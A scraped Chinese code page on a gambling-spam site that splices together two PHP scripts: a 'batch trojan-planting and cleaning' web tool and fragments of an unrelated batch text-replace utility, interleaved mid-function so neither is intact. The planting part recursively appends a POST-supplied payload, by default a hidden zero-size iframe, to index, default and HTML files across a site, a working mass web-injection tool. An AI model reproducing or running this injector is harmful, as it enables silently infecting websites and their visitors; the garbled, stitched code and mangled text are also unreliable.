澳门皇冠金沙网站-澳门皇冠844网站

热门关键词: 澳门皇冠金沙网站,澳门皇冠844网站

批量替换程序实例代码,批量替换程序的具体实

复制代码 代码如下:

 代码如下

代码如下:

<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$filen<br>”;

<?php
/***************************************************************************
                             batch-replace, v1.1
 ***************************************************************************
    file:                batch-replace_utf8.php
    functionality:       本程序能够扫描钦命目录的具备文件,进行内容替换。可用来被批量挂马的删减以及批量创新页面有个别内容。
                         本程序适用于对UTF-8的页面举行修改。                           

复制代码 代码如下:

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$filen<br>”;

/***************************************************************************
 *
 *   This program is free software; you can redistribute it and/or modify
 *   it under the terms of the GNU Lesser General Public License as published by
 *   the Free Software Foundation; either version 2 of the License, or
 *   (at your option) any later version.
 *
 ***************************************************************************/
 
set_time_limit(3600);

<?php
/***************************************************************************
batch-replace, v1.1
***************************************************************************
file: batch-replace_utf8.php
functionality: 本程序能够扫描钦点目录的全体文件,进行内容替换。可用于被批量挂马的删除以及批量翻新页面有些内容。
本程序适用于对UTF-8的页面举办改变。

}
}
}
$d->close();
echo ” “;
}

if($_POST['Submit']=='早先实施操作'){
  $dir = $_POST['searchpath'];
  $shortname = $_POST['shortname'];
  $isall = $_POST['isall'];
  $isreg = $_POST['isreg'];
 
if (!get_magic_quotes_gpc()) {
  $sstr = $_POST['sstr'];
  $rpstr = $_POST['rpstr'];
} else {
  $sstr = stripslashes($_POST['sstr']);
  $rpstr = stripslashes($_POST['rpstr']);
}     

 

if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网址批量挂马程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路线)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index.|default.|main.|.html'>—–正则表达式相配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src= width=0 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
  
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版
BY 随风而去(LST)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index.|default.|main.|.html'>—–正则表明式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想消除的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src= width=50 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
  
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>

  //分析shortname
  $arrext = explode ("|",$shortname);

/***************************************************************************
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
***************************************************************************/

您大概感兴趣的小说:

  • 网页挂马形式整理及详细介绍
  • js cookies 常见网页木马挂马代码 24钟头只加载一次
  • 掣肘网页挂马的几何工具小集合
  • 挂马代码 网页挂马深入分析
  • dos之for命令达成扫描网段的端口,用于救助减轻ARP挂马
  • Asp常见挂马格局大总括
  • 最新的无权限挂马方式
  • 采纳css完结挂马的代码
  • 数据库中的内容字段被挂马的交替方法 SQL注入
  • 最新病毒之SXS病毒专杀方式,方今挂马严重
  • 防护网页挂马的方式总计

  if (!is_dir($dir)) return;
  if ($sstr == '') return;

set_time_limit(3600);

  //把末尾的/去掉
  if(substr($dir,-1)=='/') $dir = substr($dir,0,strrpos($dir,"/"));

if($_POST['Submit']=='开头实行操作'){
$dir = $_POST['searchpath'];
$shortname = $_POST['shortname'];
$isall = $_POST['isall'];
$isreg = $_POST['isreg'];

  //罗列全数目录
  if ($isall == 1){
    hx_dirtree($dir);
  }else{
    hx_dealdir($dir);

if (!get_magic_quotes_gpc()) {
$sstr = $_POST['sstr'];
$rpstr = $_POST['rpstr'];
} else {
$sstr = stripslashes($_POST['sstr']);
$rpstr = stripslashes($_POST['rpstr']);
}

本文由澳门皇冠金沙网站发布于编辑程序,转载请注明出处:批量替换程序实例代码,批量替换程序的具体实